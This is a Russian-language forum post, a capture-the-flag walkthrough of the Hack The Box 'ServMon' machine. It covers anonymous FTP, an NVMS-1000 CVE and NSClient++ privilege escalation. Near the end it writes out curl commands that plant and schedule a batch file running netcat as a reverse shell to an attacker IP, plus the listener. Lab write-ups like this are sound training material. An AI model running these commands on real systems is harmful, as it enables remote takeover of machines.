Что нового

Box HTB ServMon

Vander 0

Vander

Команда форума
10.11.2019
483
1 109
Приветствую уважаемую аудиторию форума Protey!
В этой публикации, мы рассмотрим подробно, способ решения поставленных перед нами задач и взятия флагов, из уязвимого инстанса площадки HTB - Servmon.

EVKbdrxU0AIWicf.jpg

Сложность инстанса - Easy
Платформа - Windows
Тип возможного решения - Использование CVE

photo5435996637915885380 (1).jpg

Проверяем доступность инстанса:

1592666454057.png

Сканирование 10.10.10.184:

Код:
nmap -sV -A 10.10.10.184
1592666511514.png

По итогам сканирование, первое, на что стоит обратить внимание, это открытый 21 порт, на котором работает FTP-сервер, здесь нам разрешен Anonymous доступ.
  • Анонимный доступ по FTP позволяет любому получить доступ к Вашей папке public_FTP.
  • Предупреждение: Анонимный FTP позволяет любому получить доступ к закрытой зоне Вашего сайта. Обычно, более безопасно не активировать Anonymous FTP (Анонимный FTP).
Для получения доступа к данным на FTP мы можем воспользоваться как FTP клиентом, по умолчанию встроенным в Kali Linux:

1592667244158.png

Используя команды:

Код:
cd
dir
get "filename.txt"
Мы получаем интересующие нас данные из папок двух пользователей, Nadine & Nathan.

1592667426548.png

Так же, мы можем использовать браузер, чтобы обратиться к машине, по протоколу FTP.

1592667580925.png

Данные, которые нас интересуют, содержатся в двух файлах:
  • Confidential.txt
  • Notes to do.txt
1592667774117.png

Проанализировав полученную информацию, становится ясно, что на рабочем столе у Nathan располагается некий файл с паролями.

Теперь посмотрим в сторону CVE, nmap указывает на открытый 80 порт, на котором работает некое приложение, и указывает на странцу логина:

1592668269996.png

Переходим на 80 порт, и узнаем, что приложение называется NVMS-1000.
  • NVMS-1000, программное обеспечение для линейки LTV IP E-series
1592668472139.png

Если где-то есть CVE, то она определенно тут:

1592668652005.png

Его можно использовать как вручную (рекомендуется) так и с помощью Metasploit:

photo5435996637915885378 (1).jpg

Итогом выполнение эксплойта, будет получение файла содержащего пароли:

photo5435996637915885379.jpg

Попробуем найти валидный пароль для кого-то из двух пользователей, для этого можно попробовать smb_login в Metasploit:

photo5435996637915885382.jpg

Результатом будет положительный отклик, на один из паролей для пользователя Nadine. Вернемся к nmap и убедимся, что порт 22 SSH - открыт, попробуем пару Nadine:{foundedpass}, для логина:
К серверу получен доступ по SSH под логином пользователя Nadine, берем первый флаг из файла user.txt.

photo5435996637915885387 (1).jpg

Вернемся, к nmap, на 8443 порту работает NSClient.
  • Когда NSClient ++ установлен с включенным веб-сервером, локальные пользователи с низким уровнем привилегий имеют возможность считывать пароль веб-администратора в открытом тексте из файла конфигурации.Сюда пользователь может войти на веб-сервер и внести изменения в файл конфигурации, который обычно ограничен.
    Пользователь может разрешить модулям проверять внешние сценарии и планировать их выполнение. Кажется, что нет ограничений на то, откуда эти сценарии вызываются, поэтому пользователь может создать сценарий где угодно. Так как служба NSClient ++ работает как В локальной системе эти запланированные сценарии выполняются от имени этого пользователя, а пользователь с низкими привилегиями может получить повышение привилегий.
Для начала, необходимо получить пароль веб администратора.

photo5435996637915885389.jpg

Среди разрешенных хостов, есть localhost, прокидываем порт SSH на него и коннектимся:

Код:
ssh -L 8444:127.0.0.1:8443 nadine@servmon.htb
photo5435996637915885427.jpg

После успешного подключения, загружаем на уязвимый инстанс NetCat:
  • nc.exe - это процесс, который отвечает за запись и чтение сетевых подключений NetCat. Эта утилита компьютерной сети использует протокол управления передачей (TCP), который позволяет выполнять множество различных действий.
photo5435996637915885428.jpg

Затем, необходимо заставить клиент, инициировать обратное подключение на атакующий хост:
  • Создаем исполняемый файл, который выполнится чуть позже.
Код:
curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/6060.bat --data-binary "C:\Temp\nc.exe 10.10.14.206 6060 -e cmd.exe"
  • Помещаем его в очередь для выполнения, и задаем интервал в одну минуту.
Код:
curl -s -k -u admin https://localhost:8443/api/v1/queries/6060/commands/execute?time=1m
photo5435996637915885430.jpg

На атакующем хосте, выполняем следующую команду, и ждем обратного подключения:

Код:
nc -nlvp 6060
photo5435996637915885431.jpg

Получаем сессию, с правами системы и забираем последний флаг:

photo5435996637915885435.jpg


На этом всё, спасибо за внимание и удачи на HTB!​
 
Верх Низ